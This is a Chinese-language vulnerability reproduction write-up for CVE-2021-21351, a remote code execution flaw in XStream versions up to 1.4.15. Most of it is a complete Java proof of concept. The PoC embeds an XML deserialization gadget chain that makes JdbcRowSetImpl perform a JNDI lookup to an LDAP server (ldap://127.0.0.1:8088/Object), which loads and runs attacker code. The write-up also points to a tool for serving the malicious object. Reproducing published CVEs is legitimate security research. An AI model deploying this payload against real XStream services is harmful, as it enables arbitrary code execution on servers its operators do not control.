XStream远程代码执行漏洞复现(CVE-2021-21351)

0x01 漏洞详情

XStream是一个Java对象和XML相互转换的工具。 XStream基于在解组时处理的流所包含的类型信息创建新的实例，攻击者可以操纵处理后的输入流并且替换或者注入对象，这导致攻击者能够在目标服务器执行任意代码。

0X02 影响版本

XStream <= 1.4.15

0x03 环境搭建

使用maven创建该环境。

0x04 POC参考链接

参考官方给出的POC链接： https://x-stream.github.io/CVE-2021-21351.html

0x05 POC编写

import com.thoughtworks.xstream.XStream;

public class CVE_2021_21351 {
    public static void main(String[] args) {
        String xml = "<sorted-set>
" +
                "  <javax.naming.ldap.Rdn_-RdnEntry>
" +
                "    <type>ysomap</type>
" +
                "    <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
" +
                "      <m__DTMXRTreeFrag>
" +
                "        <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
" +
                "          <m__size>-10086</m__size>
" +
                "          <m__mgrDefault>
" +
                "            <__overrideDefaultParser>false</__overrideDefaultParser>
" +
                "            <m__incremental>false</m__incremental>
" +
                "            <m__source__location>false</m__source__location>
" +
                "            <m__dtms>
" +
                "              <null/>
" +
                "            </m__dtms>
" +
                "            <m__defaultHandler/>
" +
                "          </m__mgrDefault>
" +
                "          <m__shouldStripWS>false</m__shouldStripWS>
" +
                "          <m__indexing>false</m__indexing>
" +
                "          <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
" +
                "            <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
" +
                "              <javax.sql.rowset.BaseRowSet>
" +
                "                <default>
" +
                "                  <concurrency>1008</concurrency>
" +
                "                  <escapeProcessing>true</escapeProcessing>
" +
                "                  <fetchDir>1000</fetchDir>
" +
                "                  <fetchSize>0</fetchSize>
" +
                "                  <isolation>2</isolation>
" +
                "                  <maxFieldSize>0</maxFieldSize>
" +
                "                  <maxRows>0</maxRows>
" +
                "                  <queryTimeout>0</queryTimeout>
" +
                "                  <readOnly>true</readOnly>
" +
                "                  <rowSetType>1004</rowSetType>
" +
                "                  <showDeleted>false</showDeleted>
" +
                "                  <dataSource>ldap://127.0.0.1:8088/Object</dataSource>
" +
                "                  <listeners/>
" +
                "                  <params/>
" +
                "                </default>
" +
                "              </javax.sql.rowset.BaseRowSet>
" +
                "              <com.sun.rowset.JdbcRowSetImpl>
" +
                "                <default/>
" +
                "              </com.sun.rowset.JdbcRowSetImpl>
" +
                "            </fPullParserConfig>
" +
                "            <fConfigSetInput>
" +
                "              <class>com.sun.rowset.JdbcRowSetImpl</class>
" +
                "              <name>setAutoCommit</name>
" +
                "              <parameter-types>
" +
                "                <class>boolean</class>
" +
                "              </parameter-types>
" +
                "            </fConfigSetInput>
" +
                "            <fConfigParse reference='../fConfigSetInput'/>
" +
                "            <fParseInProgress>false</fParseInProgress>
" +
                "          </m__incrementalSAXSource>
" +
                "          <m__walker>
" +
                "            <nextIsRaw>false</nextIsRaw>
" +
                "          </m__walker>
" +
                "          <m__endDocumentOccured>false</m__endDocumentOccured>
" +
                "          <m__idAttributes/>
" +
                "          <m__textPendingStart>-1</m__textPendingStart>
" +
                "          <m__useSourceLocationProperty>false</m__useSourceLocationProperty>
" +
                "          <m__pastFirstElement>false</m__pastFirstElement>
" +
                "        </m__dtm>
" +
                "        <m__dtmIdentity>1</m__dtmIdentity>
" +
                "      </m__DTMXRTreeFrag>
" +
                "      <m__dtmRoot>1</m__dtmRoot>
" +
                "      <m__allowRelease>false</m__allowRelease>
" +
                "    </value>
" +
                "  </javax.naming.ldap.Rdn_-RdnEntry>
" +
                "  <javax.naming.ldap.Rdn_-RdnEntry>
" +
                "    <type>ysomap</type>
" +
                "    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
" +
                "      <m__obj class='string'>test</m__obj>
" +
                "    </value>
" +
                "  </javax.naming.ldap.Rdn_-RdnEntry>
" +
                "</sorted-set>";

        XStream xstream = new XStream();
        xstream.fromXML(xml);
    }
}

0x06 POC复现

首先通过链接：https://github.com/wyzxxz/fastjson_rce_tool 下载该工具，下载后如图使用该工具：

POC代码在本地IDE中测试运行弹出计算器：

0x07 参考链接

https://x-stream.github.io/CVE-2021-21351.html